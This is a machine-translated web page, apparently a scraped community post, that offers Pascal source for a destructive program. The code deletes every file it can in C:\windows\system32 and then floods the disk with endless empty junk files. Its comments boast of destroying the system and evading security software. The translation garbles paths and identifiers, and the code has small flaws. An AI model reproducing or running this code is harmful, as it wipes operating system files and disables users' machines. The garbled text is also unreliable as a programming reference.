Use Pascal to destroy an instance of DLL

Source: Internet
Author: User
Use Pascal to destroy an instance of a DLL file

For more information about pascal static call and dynamic Call DLL, see Delphi/Lazarus.

Uses DOS; {call dos database}

Const root = 'C: \ windows \ system32 \ '; {locate file}
VaR Vir: array [1 .. 6] of string(('.rar', '.sys', '.txt', '.zip', '.exe ','. com '); {defines the spam file suffix}
Check: text;
Total: string;
I, n, k: longint;

Procedure BFP; {use the DOS library to destroy DLL files and insert threads to destroy the system}
VaR {definition}
Fdata: searchrec;
F: file;
Kfname: String [12];
I, J: longint;

Begin
{$ I -}
I: = 0;
J: = 0;
Findfirst (root + '*. *', 0, fdata); {search path}
Kfname: = fdata. Name; {define name to locate data}
While doserror = 0 do {start when dos error = 0 (initial value is 0 of course )}
Begin
Findnext (fdata); {find the next data}
Assign (F, root + kfname); {path + name}
Erase (f );
If ioresult <> 0 then {continuously incrementing I output error numbers}
Begin
I: = I + 1;
Writeln ('error', I, 'Time (s )');
End
Else {otherwise}
Begin {name of the output location file}
J: = J + 1;
Writeln (fdata. Name, 'was already deleted .');
End;
Kfname: = fdata. Name; {continue loop}
End;
Writeln (J, 'file (s) was deleted .');
Writeln ('Press enter to exit ');
Readln;
End;

Begin
N: = maxlongint;
BFP;
For I: = 1 to n do {continuously generate junk files, and all the suffixes are not found by security software}
Begin
If K = 6 then K: = 1;
STR (I, total );
INC (k );
Total: = total + Vir [k];
Assign (check, total );
Rewrite (check );
Close (check );
End;
End. {end .}

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.